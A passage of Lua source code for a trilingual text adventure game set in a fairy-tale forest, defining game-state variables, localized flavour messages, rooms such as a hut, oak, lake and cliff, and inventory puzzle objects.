treecounter = 0; -- счетчик посещений дерева, если равно 3 и больше - можно показывать жар-птицу
needpero = false; -- узнал ли от хозяина трактира, что нужно перо, чтобы получить пиво. переменная нужна как одно из условий появления жар-птицы
birdontree = false; -- жар-птица прилетела или нет
pticauletela = false; -- улетела ли птица после попытки схватить её
havepero = false; -- есть ли перо жар-птицы у нас
pivotaked = false; -- обменял ли перо на пиво
postavpivoje = false; -- находимся ли мы за столиком
kuvshinontable = false; -- поставлен ли кувшин на столик
zabralkuvshinpivo = false; -- забрал ли кувшин с пивом со столика
notfull = true; -- кувшин обычно не полон
perelilpivo = false; -- решил ли квест с пивом и кружкой
triedtoescape = false; -- пытался ли украсть кружку
krotdal = false; -- отдал ли кружку
mukaest = false; -- брал ли муку у мельника
seegulls = true; -- видим ли чаек
gullscounter = 0; -- счетчик состояния чаек (от 1 до 4)
gullscheck = 0; -- переменная, чтобы рандом не повторялся
nopivoontable = false; -- оставил ли пустую кружку на столе
zabral = false; -- забрал ли хозяин кружку со стола
vipusti = false; -- переменная нужна для того, чтобы не вызывать диалог про кружку, если уже погоговорил об этом
combo = false; -- ловим сочетание условий, когда не надо вызывать диалог про то, что оставил кружку
youcanplace = false; -- когда можно поставить пустую кружку
wasintalkaboutkruzhka2 = false; -- один хак исправляет другой. для правильного выбора диалога, даже если вышел, оставив кружку на столе
tyvor = false; -- вор ли ты
needpivo = false; -- узнали ли от мельника, что нужно пиво
askwhere = false; -- можно спрашивать ли про то, где искать перо
dalvodu = false; -- особый случай, когда частично помог старику
napugal = false; -- напугал ли белку
wasinvillage = false; -- был ли в деревне
countflush = 0; -- счетчик сброса голода
eveningenabled = false; -- это для меня, включать и выключать вечер
eatenapples = false; -- съел ли яблоки
nashel2 = false; -- дупло дерева, особый случай
fixed = false; -- исправил ли прогресс...
cursorstate = 1; -- состояние размера курсора. 0 - минимум, 1 - обычный, 2 - максимум
fromwhere = '';
clickonsceneenabled = false; -- включены ли клики на сцене
rulangimage = "gfx/russian.png";
enlangimage = "gfx/english.png";
ualangimage = "gfx/ukrainian.png";
passedintro = false; -- прошли ли интро
infobarshow = false; -- показан ли инфобар о клавишах
fontsize = theme.get'win.fnt.size'; -- размер шрифта, соответствует дефолтному. при его увеличении увеличиваем шрифт в игре, и поправляем зоны видимости, раз уж взялись свою тему делать
fadingcanbe = false; -- разрешен ли фейдинг
repeatplease = false; -- надо ли повторить сообщение на перекрестке при заходе. нужно чтобы визуально ничего не менялось, когда кликаем мышей по инфобару
langchanged = false; -- если язык не изменился, незачем перерисовывать сцену
redbarshow = false; -- показан ли красный экран
death_time = 1000; -- время показа красного экрана для таймера
drawtext = true; -- показан ли текст при клике на сцену
clickonscene_x = 50; -- координаты области клика по картинке
clickonscene_y = 35;
current_ru = ''; -- сообщение по клику на сцену. меняем в каждой комнате
current_en = '';
current_ua = '';
temphide = false; -- если тру - то не играть звук, один раз. нужно для двери, чтобы когда меняешь язык то не было скрипа
statnum = '0'; -- число статуса, которое передаем в декоратор
statword = ''; -- сюда запишем перевод индикатора прогресса
enteredsamobranka = false; -- находимся ли в самобранке
nearstone = false; -- находимся ли возле камня. нужно, чтобы не показывать там статус
}
setstatword = function()
if ru then statword = 'Прогресс: '; end;
if en then statword = 'Progress: '; end;
if ua then statword = 'Прогрес: '; end;
end;
stat { -- старый статус, для режима, когда играем без встроенной темы
nam = 'статус';
pri = -1; -- в инстед версии 3.3.0 и выше эта строчка не требуется. Но в финале её оставлю, для совместимости. Обходит баг с сортировкой предметов в инвентаре.
disp = function (s)
if rightwaychoosen then choose = rightchoose; end; -- maxchoose = rightmaxchoose; end;
if leftwaychoosen then choose = leftchoose; end; -- maxchoose = leftmaxchoose; end;
if straightwaychoosen then choose = straightchoose; end; -- maxchoose = straightmaxchoose; end;
pn (fmt.c(' '))
if ru then pn (fmt.c('Прогресс: '), string.sub((((wr+choose)/(max+maxchoose))*100),1,4), (' %')) end;
if en then pn (fmt.c('Progress: '), string.sub((((wr+choose)/(max+maxchoose))*100),1,4), (' %')) end;
if ua then pn (fmt.c('Прогрес: '), string.sub((((wr+choose)/(max+maxchoose))*100),1,4), (' %')) end; -- Считаем и выводим прогресс игры в процентах.
pn (fmt.c(' '))
end
};
statnumcalc = function()
if rightwaychoosen then choose = rightchoose; end;
if leftwaychoosen then choose = leftchoose; end;
if straightwaychoosen then choose = straightchoose; end;
statnum = statword..string.sub( tostring( ((wr+choose)/(max+maxchoose))*100 ), 1, 4 )..' %' ;
end;
declare {
status = function()
return statnum
end;
}
global { -- Сообщения на перекрестке.
counter = 0;
inplaceofrespawnRU = {
[[Ты вернулся на место... чего?]],
[[Здесь, конечно, интересно стоять и рассматривать лес. Но, может, лучше куда-нибудь пойти и выяснить, где же ты находишься?]],
[[Интересно здесь, не так ли?]],
[[Отряд не заметил потери бойца... Тебя хоть хватятся?]],
[[Сколько ты проживешь в лесу, без еды и воды?]],
[[Здесь есть кто живой?]],
[[Иди-иди, не задерживайся.]],
[[Сказка ложь, а в ней намек... Нет, в твоем случае сказка - чистая правда.]],
[[Лес - источник жизни, силы и здоровья. Но не для всех и не всегда. Для тебя он сейчас - угроза.]],
[[Не пей, братец, воду из озера местного - козленочком станешь.]],
[[Ходит дурачок по лесу, ищет дурачок глупее себя...]],
[[Из места, где пишут "прохода нет" - логичнее идти в место, где он таки есть. А ты сейчас на полпути.]],
[[Что останется после тебя?]],
[[Если надо выбрать между добром и злом - что бы ты выбрал?]],
[[Эта история проверит, чем ты дышишь...]],
[[Если в твоем сердце добрые намерения - ты останешься жив.]],
[[Почему всё так коряво нарисовано?]],
[[Стоит ли запретить человеку лгать? Если бы это было возможно.]],
[[Нужна ли свободная воля, которая приводит к страданию и несправедливости?]],
[[Ты голоден, знаешь это?]],
[[Ты не боишься, что сейчас из-за поворота выбежит волк и съест тебя?]],
[[Ты вспоминаешь, как уютно и безопасно сейчас дома...]],
[[И всё же странно всё это...]],
[[Ты веришь в сказки?]],
[[Вселенская большая любовь. Моя бездонная копилка в пустоте...]],
[[Вселенская большая любовь. Моя секретная калитка в пустоте...]],
[[Кто ты? Как понять тебя? О чем ты думаешь, блуждая по этим лесным зарослям?]],
[[Движение - жизнь. Нельзя стоять на месте - врастешь в землю.]],
[[Я искренне восхищаюсь тем, что ты читаешь все эти фразы. Продолжай.]],
[[Какая ты, дорога жизни?]],
[[Однако. Ходют тут всякие. Вместо того, чтобы делом заняться и спасти себя.]],
[[Поздравляю. Ты так часто возвращаешься в это место, что истратил все фразы, которые автор для тебя заготовил. Может, он сделал что-то не так? Или ты оказался любопытным.]],
[[ ]]
},
inplaceofrespawnEN = {
[[You returned to the place... of what?]],
[[Here, of course, it is interesting to stand and look at the forest. But maybe it’s better to go somewhere and find out where you are?]],
[[Interesting here, right?]],
[[Are there any people who will look for you?]],
[[How long will you live in the forest without food and water?]],
[[Is there anyone alive here?]],
[[Go, go, do not hold back.]],
[[Tale of sense, if not of truth! Food for thought to honest youth. In your case, a fairy tale is pure truth.]],
[[Forest is the source of life, strength and health. But not for everyone and not always. It is a threat to you now.]],
[[Don’t drink, brother, water from the local lake - you’ll become a goat.]],
[[From the place where it says "there is no passage" - it’s more logical to go to the place where it is. You're halfway now.]],
[[What remains after you?]],
[[If you need to choose between good and evil - what would you choose?]],
[[This story will test what you are worth...]],
[[If you have good intentions in your heart, you will remain alive.]],
[[Why is everything so clumsy painted?]],
[[Is it worth it to forbid a person to lie? If it were possible.]],
[[Do we need free will that leads to suffering and injustice?]],
[[Do you know that you are hungry?]],
[[Are you not afraid that now the wolf will run out from behind the bend and eat you?]],
[[You remember how comfortable and safe at home right now...]],
[[And yet all this is strange...]],
[[Do you believe in fairy tales?]],
[[Who are you? How to understand you? What are you thinking, wandering around these forest thickets?]],
[[Movement is life. You can’t stand still - you grow into the ground.]],
[[I sincerely admire you reading all these phrases. Continue.]],
[[What are you, the way of life?]],
[[However. Everyones go here. Instead of doing business and saving yourself.]],
[[Congratulations. You return to this place so often that you spent all the phrases that the author has prepared for you. Maybe he did something wrong? Or you were curious.]],
[[ ]]
},
inplaceofrespawnUA = {
[[Ти повернувся на місце ... чого?]],
[[Тут, звичайно, цікаво стояти і розглядати ліс. Але, може, краще кудись піти і з'ясувати, де ж ти знаходишся?]],
[[Цікаво тут, чи не так?]],
[[Загін не помітив втрати бійця ... Тебе хоч почнуть шукати?]],
[[Скільки ти проживеш в лісі, без їжі і води?]],
[[Тут є хто живий?]],
[[Іди-іди, не затримуйся.]],
[[Казка брехня, але в ній натяк... Ні, в твоєму випадку казка - чиста правда.]],
[[Ліс - джерело життя, сили і здоров'я. Але не для всіх і не завжди. Для тебе він зараз - загроза.]],
[[Не пий, братику, воду з озера місцевого - козликом станеш.]],
[[З місця, де пишуть "проходу немає" - логічніше йти в місце, де він таки є. А ти зараз на півдорозі.]],
[[Що залишиться після тебе?]],
[[Якщо треба вибрати між добром і злом - що б ти вибрав?]],
[[Ця історія перевірить, чого ти вартий...]],
[[Якщо в твоєму серці добрі наміри - ти залишишся живий.]],
[[Чому все так криво написано?]],
[[Чи варто заборонити людині брехати? Якби це було можливо.]],
[[Чи потрібна вільна воля, що призводить до страждання і несправедливості?]],
[[Ти голодний, знаєш це?]],
[[Ти не боїшся, що зараз із-за повороту вибіжить вовк і з'їсть тебе?]],
[[Ти згадуєш, як затишно і безпечно зараз вдома...]],
[[І все ж дивно все це...]],
[[Ти віриш у казки?]],
[[Хто ти? Як зрозуміти тебе? Про що ти думаєш, блукаючи по цим лісових чагарниках?]],
[[Рух - це життя. Не можна стояти на місці - вростеш в землю.]],
[[Я щиро захоплююся тим, що ти читаєш всі ці фрази. Продовжуй.]],
[[Яка ти, дорога життя?]],
[[Однак. Ходять тут всякі. Замість того, щоб справою зайнятися і врятувати себе.]],
[[Вітаю. Ти так часто повертаєшся в це місце, що витратив усі фрази, які автор для тебе заготовив. Може, він зробив щось не так? Або ти виявився допитливим.]],
[[ ]]
}
}
function inc(a) return a + 1 end; -- на всякий случай, может пригодятся
function dec(a) return a - 1 end;
obj {
nam = 'maintain'; -- делаем игрока голодным, если долго ходил, и управление вечером
disp = false;
on = false;
life = function(s)
statnumcalc();
setstatword();
deletestatus();
if not weareincontrol and not nearstone and passedintro and not seen('replay', here() ) and not seen('death', here() ) then createstatus(); end
theme.gfx.bg (bg_name)
if player_moved() then
s.on = false;
countflush = countflush+1;
if countflush > 150 then countflush = 0 end;
-- if mukaest then eveningenabled = true; end; -- проверял, работает ли. теперь по определенному триггеру можно включить вечер
if wasinvillage and countflush >= 15 then hungry = 0 countflush = 0 end;
if fadingcanbe then instead.fading = true; end; -- включаем фейдинг после показа инфобара. по правде, я смутно понимаю, как всё работает, но вроде глюков нет. этот код нужен, чтобы при показе и убирании инфобара фейдинга не было, потому, что такое поведение у главного меню, а мы косим под встроенные менюшки.
if clickonsceneenabled == false and not firststart and not weareincontrol and not here():type 'dlg' then createclickonscene(); theme.gfx.bg (bg_name) end;
return
end;
end;
}
room { -- Здесь начинается наше путешествие, небольшая предыстория
forcedsc = true;
nam = 'main';
noinv = true;
title = function()
if ru then return 'Вступление'; end;
if en then return 'Intro'; end;
if ua then return 'Вступ'; end;
end;
pic = 'gfx/0.png';
enter = function()
snd.music 'mus/Beginning.ogg' bg_name = 'gfx/bg_intro.png' theme.gfx.bg (bg_name)
deletebutton();
createruslang();
createenglang();
createukrlang();
end;
exit = function()
instead.fading = true;
createbutton();
createclickonscene();
deleteruslang();
deleteenglang();
deleteukrlang();
end;
dsc = function()
if ru then p [[ Ты уснул, как обычно, к полуночи. Сон был беспокойный, грезились инопланетяне, склонившиеся над головой, но как только просыпался в ужасе - видел всё ту же привычную комнату. Успокоившись, что мир за время твоего сна никуда не делся, ты снова засыпал. Так несколько раз... Но в конце-концов - страхи имеют свойство материализоваться. Уже сквозь сон ты услышал, что воздух стал чище, холоднее. Что-то не так. Ты резко открыл глаза...
{@ walk start|Дальше...}]] end;
if en then p [[ You fell asleep, as usual, by midnight. The dream was restless, aliens were dreaming, bending over your head, but as soon as you woke up in horror, you saw the same familiar room. Having calmed down that the world during your sleep has not gone away, you fell asleep again. So several times... But in the end - fears tend to materialize. Already through a dream, you heard that the air has become cleaner, colder. Something is wrong. You abruptly opened your eyes...
{@ walk start|Next...}]] end;
if ua then p [[ Ти заснув, як зазвичай, до півночі. Сон був неспокійний, марилися інопланетяни, які схилилися над головою, але як тільки ти прокидався в жаху - ти бачив все ту ж звичну кімнату. Заспокоївшись, що світ за час твого сну нікуди не подівся, ти знову засинав. Так кілька разів... Але в кінці-кінців - страхи мають властивість матеріалізуватися. Вже крізь сон ти почув, що повітря стало чистішим, холоднішим. Щось не так. Ти різко відкрив очі...
{@ walk start|Далі...}]] end;
end;
}
room {
nam = "start";
title = function()
if ru then return 'Развилка'; end;
if en then return 'Crossroads'; end;
if ua then return 'Перехрестя'; end;
end;
pic = 'gfx/1.png';
enter = function()
snd.music 'mus/Atlantis.ogg' if firststart then snd.play('snd/breath.ogg', 1) end bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name)
passedintro = true;
current_ru = 'Ты нажал на область сцены. Здесь просто картинка. Но в каждом новом месте - свой комментарий.';
current_en = 'You clicked on the scene area. Here is just a picture. But in each new place - a new comment.';
current_ua = 'Ти натиснув на область сцени. Тут просто зображення. Але в кожному новому місці - новий коментар.';
end;
dsc = function (i)
if firststart then
if ru then p [[А комнаты-то нет!!!]] end
if en then p [[But there is no any room!!!!]] end
if ua then p [[А кімнати-то немає!!!]] end
firststart = false otherstarts = true
return
end
if otherstarts then
if ru then if not repeatplease then counter = (counter +1)%#inplaceofrespawnRU repeatplease = false; end end
if en then if not repeatplease then counter = (counter +1)%#inplaceofrespawnEN repeatplease = false; end end
if ua then if not repeatplease then counter = (counter +1)%#inplaceofrespawnUA repeatplease = false; end end
if ru then return p(inplaceofrespawnRU[counter]) end -- пишем всякие сообщения при заходе на развилку
if en then return p(inplaceofrespawnEN[counter]) end
if ua then return p(inplaceofrespawnUA[counter]) end
end
end;
decor = function()
if ru then return "Ты в лесу! Деревья закрывают все пути отступления, есть лишь расхоженная тропа, на которой ты стоишь. Ты можешь пойти налево, направо, а можешь пойти прямо - в центре развилки растет огромный {dub|дуб}. Еще можно развернуться и пойти назад. "; end;
if en then return "You are in the forest! Trees block all escape routes, there is only a well-groomed path on which you stand. You can go left, right, or you can go straight ahead - a huge {dub|oak} grows in the center of the crossway. You can still turn around and go back. "; end;
if ua then return "Ти в лісі! Дерева закривають всі шляхи до відступу, є лише росходжена стежка, на якій ти знаходишся. Ти можеш піти наліво, направо, а можеш піти прямо - в центрі перехрестя росте величезний {dub|дуб}. Ще можна розвернутися й піти назад. "; end;
end;
obj = {'dub'};
way = {path {function()
if ru then return 'Налево' end
if en then return 'Left' end
if ua then return 'Наліво' end
end,
after = function()
if ru then return 'К хижине' end
if en then return 'To house' end
if ua then return 'До хатини' end
end,
'leftway'},
path {function()
if ru then return 'Прямо' end
if en then return 'Straight' end
if ua then return 'Прямо' end
end,
after = function()
if ru then return 'К дубу' end
if en then return 'To oak' end
if ua then return 'До дуба' end
end,
'centerway'},
path {function()
if ru then return 'Направо' end
if en then return 'Right' end
if ua then return 'Направо' end
end,
after = function()
if ru then return 'К озеру' end
if en then return 'To lake' end
if ua then return 'До озера' end
end,
'rightway'},
path {function()
if ru then return 'Назад' end
if en then return 'Back' end
if ua then return 'Назад' end
end,
after = function()
if ru then return 'К обрыву' end
if en then return 'To fall' end
if ua then return 'До пропасті' end
end,
'back'} };
}
room {
nam = 'leftway';
title = function()
if ru then return 'Хижина'; end;
if en then return 'Humpy'; end;
if ua then return 'Хатина'; end;
end;
pic = function(s)
if holeway and brokenwithtopor and haveudochka then return 'gfx/3_2brokenwithout.png'
elseif holeway and brokenwithtopor and not haveudochka then return 'gfx/3_2broken.png'
elseif holeway and not brokenwithtopor then return 'gfx/3_2.png'
elseif not holeway and brokenwithtopor and haveudochka then return 'gfx/3brokenwithout.png'
elseif not holeway and brokenwithtopor and not haveudochka then return 'gfx/3broken.png'
elseif not holeway and not brokenwithtopor then return 'gfx/3.png' end
end;
enter = function()
snd.music 'mus/Atlantis.ogg' if holeway then enable '#hole' end;
current_ru = 'Ты возле хижины.';
current_en = "You're near the hut.";
current_ua = 'Ти біля хатини.';
end;
decor = function(l)
if ru then p [[Ты видишь старую хижину, которую построили, наверное, еще до революции. Она перекосилась, и только густой лес своими могучими ветвями не позволяет ей развалиться.]]; end;
if en then p [[You see the old hut, which was probably built a very long time ago. It warped, and only a dense forest with it's mighty branches does not allow hut to fall apart.]]; end;
if ua then p [[Ти бачиш стару хатину, яку побудували, мабуть, ще до революції. Вона перекосилась, і тільки густий ліс своїми могутніми гілками не дозволяє їй розвалитися.]]; end;
if ru then if not brokenwithtopor then p [[Но {door|дверь} цела и петли на месте. Кузнец знал своё дело.]] end; end;
if en then if not brokenwithtopor then p [[But the {door|door} is not broken and it's hinges are in place. The blacksmith knew his job.]] end; end;
if ua then if not brokenwithtopor then p [[Але {door|двері} цілі й петлі на місці. Коваль знав свою справу.]] end; end;
if ru then if brokenwithtopor then p [[На месте двери зияет проход внутрь.]] end; end;
if en then if brokenwithtopor then p [[In place of the door there is a gap inward.]] end; end;
if ua then if brokenwithtopor then p [[На місці двері зяє прохід всередину.]] end; end;
if ru then if seen('holeopened','leftway') then p [[^Слева от хижины, между деревьев, ты видишь проход! Деревья словно расступились и теперь между ними есть проём, в который ты можешь пройти.]] end end;
if en then if seen('holeopened','leftway') then p [[^To the left of the hut, between the trees, you see the passage! The trees seemed to have parted and now there is an opening between them that you can pass into.]] end end;
if ua then if seen('holeopened','leftway') then p [[^Зліва від хатини, між дерев, ти бачиш прохід! Дерева ніби розступилися і тепер між ними є простір, в який ти можеш пройти.]] end end;
end;
way = {path {'Развилка', 'start'}, path {'#hole','В проем','trees'}:disable() , path {'#door','В дом','inhouse'}:disable() };
}:with {
obj {
nam = 'hole';
};
obj {
nam = 'door';
act = function(k)
if not disabled '#door' then
p [[Дверь открыта, замок снят.]]
return
end
p [[На двери висит старый ржавый замок. Несмотря на это, механизм цел.]]
end;
used = function (s, w)
if w^'fonarik' then
p [[Ты зачем-то посветил на дверь при свете дня, и лишний раз убедился, что без ключа замок не открыть.]]
return
elseif w^'topor' and not openedwithkey then
p [[Ты изрубил дверь топором, сделать это было легко. Старые трухлявые доски разлетелись в стороны. Путь открыт. Ну ты и варвар! Сюда же теперь будет попадать дождь, снег...]] evil = evil+1; snd.play('snd/axe.ogg', 1) enable '#door' brokenwithtopor = true wr = wr+1; test(); return
elseif w^'topor' and openedwithkey then
p [[Ты зачем-то сломал дверь, хотя она была открыта, и не было необходимости делать это. Ну ты и варвар! Сюда же теперь будет попадать дождь, снег...]] evil = evil+1; snd.play('snd/axe.ogg', 1) brokenwithtopor = true return
elseif w^'key' and not brokenwithtopor then
p [[Замок скрипнул, захрустел, но поддался. Ты открыл дверь.]] good = good+1; snd.play('snd/key_door.ogg', 1) openedwithkey = true; wr = wr+1; test();
enable '#door'
remove ('key')
return
end
return false;
end
};
};
room {
nam = 'inhouse';
title = 'В хижине';
pic = function(s) -- показываем нужное состояние в комнате, в зависимости от того, какие предметы взял игрок
if havelopata and havevedro and haveudochka then return 'gfx/inhouse/7.png'
elseif havelopata and havevedro and not haveudochka then return 'gfx/inhouse/11.png'
elseif havelopata and not havevedro and not haveudochka then return 'gfx/inhouse/8.png'
elseif havevedro and haveudochka and not havelopata then return 'gfx/inhouse/10.png'
elseif havevedro and not haveudochka and not havelopata then return 'gfx/inhouse/9.png'
elseif haveudochka and havelopata and not havevedro then return 'gfx/inhouse/14.png'
elseif haveudochka and not havevedro and not havelopata then return 'gfx/inhouse/13.png' else return 'gfx/inhouse/6.png'; end
end;
enter = function()
snd.music 'mus/HouseOfEvil.ogg' if not brokenwithtopor and not temphide then snd.play('snd/dooropen.ogg', 1) end
current_ru = 'Ты в доме.';
current_en = "You're in the hut.";
current_ua = 'Ти в хатині.';
end;
onexit = function(a) snd.stop_music(); if not brokenwithtopor and not temphide then snd.play('snd/dooropen.ogg', 1) end end;
decor = [[Несмотря на запущенность строения, внутри эта хижина выглядит лучше, чем снаружи. Сквозь окно проникает достаточно света, чтобы осветить единственную комнату.]];
obj = {'lopata', 'komod', 'vedro', 'udochka'};
way = {path {'Наружу', 'leftway'} };
}
room {
nam = 'centerway';
title = 'Дуб';
pic = 'gfx/2.png';
enter = function()
current_ru = 'Ты возле дуба.';
current_en = "You're near the oak.";
current_ua = 'Ти біля дуба.';
end;
decor = [[Ты видишь огромный дуб. В центре дуба зияет черное {light|дупло}, здесь, наверное, кто-то живет.]];
way = {path {'Развилка', 'start'} };
}:with {
obj { -- Дупло.
nam = 'light';
act = function (k)
if not have 'fonarik' then
p [[В дупле больше ничего нет.]]
return
end
p [[Ты осмотрел дупло, но там темно, и ничего не видно.]]
end;
used = function (s, w)
if w^'topor' then
p [[Что, как, и зачем?..]] return end
if w^'key' then
p [[Зачем возвращать ключ в дупло?]] return
elseif w^'fonarik' then
p [[Ты посветил фонариком. Оттуда внезапно выскочила белка и убежала. Ты пожалел, что испугал бедное животное. Но что теперь поделать. В дупле лежал... ключ.]] -- snd.play('snd/SQ2.ogg', 1)
snd.play('snd/flashlight.ogg', 1)
replace('fonarik', 'key') touchedkey = true; if not touchedtopor then wr = wr+1; test(); end;
return
end
return false;
end
};
}
room {
nam = 'rightway';
title = "Озеро";
pic = function(s)
if vedrostand then return 'gfx/4_2.png'
else return 'gfx/4.png'; end
end;
enter = function()
current_ru = 'Ты возле озера.';
current_en = "You're near the lake.";
current_ua = 'Ти біля озера.';
end;
obj = {'lake', 'bereg'}; -- 'walkfish'
way = {path {'Развилка', 'start'} };
}
room {
nam = 'back';
title = 'На краю...';
pic = function(s)
if stonebreak then
return 'gfx/5_2.png'; else return 'gfx/5.png';
end
end;
enter = function()
current_ru = 'Ты возле пропасти.';
current_en = "You're near the fall.";
current_ua = 'Ти біля прірви.';
end;
decor = 'Ты у пропасти. Впереди - большие и маленькие камни, подъемы и спуски, но всё это опасно. Идти туда - риск, да и на горизонте не видно каких-либо построек... Вдали, на самом дне {dolina|долины} - огромными буквами выбито - прохода нет. Ты поневоле задумываешься, как же попал сюда?';
obj = {'valun', 'топор', 'dolina'};
way = {path {'Развилка', 'start'} };
}
obj {
nam = 'dolina';
act = function()
if ru then p[[Тот глупец, кто осмелится {down|спуститься} туда, погибнет...]]; end;
if en then p[[That fool who dares {down|go down} there, will perish...]]; end;
if ua then p[[Той дурень, що наважиться {down|спуститися} туди, загине...]]; end;
end;
}:with {'down'}
obj {
nam = 'down';
act = function()
if not fallen and attention then walkin ('indown')
elseif not fallen and not attention and ru then p 'Уверен? Повтори, если да.' attention = true
elseif not fallen and not attention and en then p 'Are you sure? Repeat if yes.' attention = true
elseif not fallen and not attention and ua then p 'Упевнений? Повтори, якщо так.' attention = true
elseif ru then p 'Ты хочешь снова умереть? Бедняга.'
elseif en then p 'Do you want to die again? Poor fellow.'
elseif ua then p 'Ти хочеш знову померти? Бідолашний.'
end;
end;
}
room {
nam = 'indown';
noinv = true;
enter = function(s)
bg_name = 'gfx/bg_death.png' theme.gfx.bg (bg_name) fallen = true;
deletebutton();
timer:set(death_time);
createredbar();
end;
timer = function(s)
timer:stop();
deleteredbar();
theme.gfx.bg (bg_name)
end;
exit = function()
bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name)
createbutton();
end;
title ='Всё...';
pic = 'gfx/44.png';
decor = 'Ты погиб!';
}:with {'replay'}
obj {
nam = 'replay';
dsc = function()
p ( fmt.c('{@ walkout|Переиграть?}') );
end;
act = function()
walk ()
end;
}
obj {
nam = 'fonarik';
disp = function()
if ru then return fmt.img('gfx/inv/fonarik.png')..'Фонарик'; end;
if en then return fmt.img('gfx/inv/fonarik.png')..'Flashlight'; end;
if ua then return fmt.img('gfx/inv/fonarik.png')..'Ліхтарик'; end;
end;
inv = function()
clickmute = true;
if isusercozel then
waycounter = waycounter+1 snd.play('snd/sheep.ogg', 1)
if ru then return p'Ты попробовал взять фонарик в зубы, но это не очень хорошо получилось) Увы и ах.' end;
if en then return p'You tried to take a flashlight in your teeth, but it didn’t work out very well) Alas.' end;
if ua then return p'Ти спробував взяти ліхтарик в зуби, але це не дуже добре вийшло) На жаль.' end;
else
if ru then return p 'Привычка держать в кармане маленький китайский динамо-фонарь на этот раз оказалась очень даже кстати.' end;
if en then return p 'The habit of holding a small Chinese dynamo flashlight in my pocket this time turned out to be very helpful.' end;
if ua then return p 'Звичка тримати в кишені маленький китайський динамо-ліхтар на цей раз виявилася дуже навіть до речі.' end;
end
end;
}
obj {
nam = 'key';
disp = function()
if ru then return fmt.img('gfx/inv/key.png')..'Ключ'; end;
if en then return fmt.img('gfx/inv/key.png')..'Key'; end;
if ua then return fmt.img('gfx/inv/key.png')..'Ключ'; end;
end;
inv = function()
clickmute = true;
if ru then
if isusercozel then p 'И зачем он теперь тебе?' waycounter = waycounter+1 snd.play('snd/sheep.ogg', 1) elseif brokenwithtopor then p 'Теперь он тебе не нужен. Ты же поспешил, начал всё крушить, ломать!' else p 'Старый, большой ключ.' end
end
if en then
if isusercozel then p 'И зачем он теперь тебе?' waycounter = waycounter+1 snd.play('snd/sheep.ogg', 1) elseif brokenwithtopor then p 'Now you don’t need it. Bcause you hurried, started to destroy everything, to break!' else p 'Old, big key.' end
end
if ua then
if isusercozel then p 'И зачем он теперь тебе?' waycounter = waycounter+1 snd.play('snd/sheep.ogg', 1) elseif brokenwithtopor then p 'Тепер він тобі не потрібен. Ти ж поспішив, почав все трощити, ламати!' else p 'Старий, великий ключ.' end
end
end;
}
obj {
nam = 'lopata';
disp = fmt.img('gfx/inv/lopata.png')..'Лопата';
dsc = 'Возле окна стоит {lopata|лопата}.';
inv = function()
clickmute = true;
if isusercozel then p 'Ты даже копать теперь не можешь! Какое горе...' waycounter = waycounter+1 snd.play('snd/sheep.ogg', 1) else p 'Обычная, хотя и ржавая уже, лопата. Но копать еще можно.' end
end;
tak = function (k)
p [[Ты взял лопату.]]; wr = wr+1; test(); havelopata = true;
return
end;
}
obj {
nam = 'рыболовные снасти';
dsc = [[В комоде есть {рыболовные снасти}.]];
disp = fmt.img('gfx/inv/leska.png')..'Снасти';
inv = function()
clickmute = true;
if isusercozel then p 'Смотри, не изрань мордочку!' waycounter = waycounter+1 snd.play('snd/sheep.ogg', 1) else p 'Рыболовные снасти. Леска для удочки, крючки, поплавок.' end
end;
tak = function (k)
p [[Ты взял рыболовные снасти.]]; wr = wr+1; test();
return
end;
used = function (n, z)
if z^'chervi' then p [[Нет смысла надевать червя на крючок, который не на удочке...]] return end;
if z^'udochka' then
p [[Ты собрал удочку.]]; wr = wr+1; test(); snd.play('snd/leskaiudochka.ogg', 1)
remove ('рыболовные снасти')
replace ('udochka', 'udsobr')
return
end
return false;
end
}
obj {
nam = 'komod'; -- комод в хижине
dsc = [[Старый {komod|комод} ютится в углу.]];
used = function (n, z)
if z^'рыболовные снасти' then
p [[Они еще пригодятся.]];
return
end
return false;
end;
act = function(s)
if ( have('рыболовные снасти') or have('udochka_with_chervi') or have('udsobr') ) then p [[Комод пуст.]]
elseif closed(s) then
open(s) clickmute = true snd.play('snd/drawer.ogg')
else
close(s) clickmute = true snd.play('snd/drawer.ogg')
close(s)
end
end;
obj = { 'рыболовные снасти'}
}
close ('komod')
obj {
nam = 'vedro';
dsc = 'За кроватью стоит маленькое {vedro|ведерко}.';
disp = fmt.img('gfx/inv/vedro.png')..'Ведро';
inv = function()
clickmute = true;
if isusercozel then p 'Ты утолил жажду. Но какой ценой?!' waycounter = waycounter+1 snd.play('snd/sheep.ogg', 1) else p 'Ведро из нержавеющей стали. Пустое.' end
end;
tak = function (k)
p [[Ты взял ведро.]]; wr = wr+1; test(); havevedro = true;
return
end;
}
obj {
nam = 'udochka'; -- первая итерация удочки
dsc = 'Над кроватью висит... {udochka|удочка}!';
disp = fmt.img('gfx/inv/udochka.png')..'Удочка';
inv = function()
clickmute = true;
if isusercozel then p 'Тебе она без надобности.' waycounter = waycounter+1 snd.play('snd/sheep.ogg', 1) else p 'Бамбуковая удочка. Давно таких не видел. Нужны снасти.' end
end;
tak = function (k)
p [[Ты аккуратно снял удочку.]]; wr = wr+1; test(); haveudochka = true;
return
end;
used = function (n, z)
if z^'topor' then
p [[Сломать единственную удочку, когда тебе угрожает смерть от голода? Оригинально!]] return end
if z^'chervi' then
p [[Сначала надо собрать удочку.]] return
elseif z^'рыболовные снасти' then
p [[Ты собрал удочку.]]; wr = wr+1; test(); snd.play('snd/leskaiudochka.ogg', 1)
remove ('рыболовные снасти')
replace ('udochka', 'udsobr')
return
end
return false;
end
}
obj {
nam = 'ground';
disp = 'земля';
dsc = 'Под валуном сырая {ground|земля}.';
act = function(b)
if not have 'chervi' then
p [[Земля под валуном - самое удобное место, чтобы накопать червей.]]
return
end
end;
used = function (n, z)
if z^'lopata' then
p [[Ты приложил все свои усилия и с трудом, но сумел сдвинуть валун с места. Тяжелый камень с затихающим звуком покатился вниз. Ты принялся копать землю и вскоре собрал несколько червей.]] snd.play('snd/kamen.ogg', 1) wr = wr+1; test(); stonebreak = true;
disable 'valun'
replace ('lopata', 'chervi')
return
end
return false;
end
}
obj {
nam = 'valun';
dsc = 'Большой {valun|валун} расположен прямо на краю пропасти.';
used = function (n, z)
if z^'topor' and firsttopor then
p [[Ты наточил топор.]] firsttopor = false snd.play('snd/zatochil.ogg', 1) return
elseif z^'topor' and secondtopor then
p [[Ты снова наточил топор.]] secondtopor = false snd.play('snd/zatochil.ogg', 1) return
elseif z^'topor' and thirdtopor then
p [[Достаточно.]] return
elseif z^'lopata' then
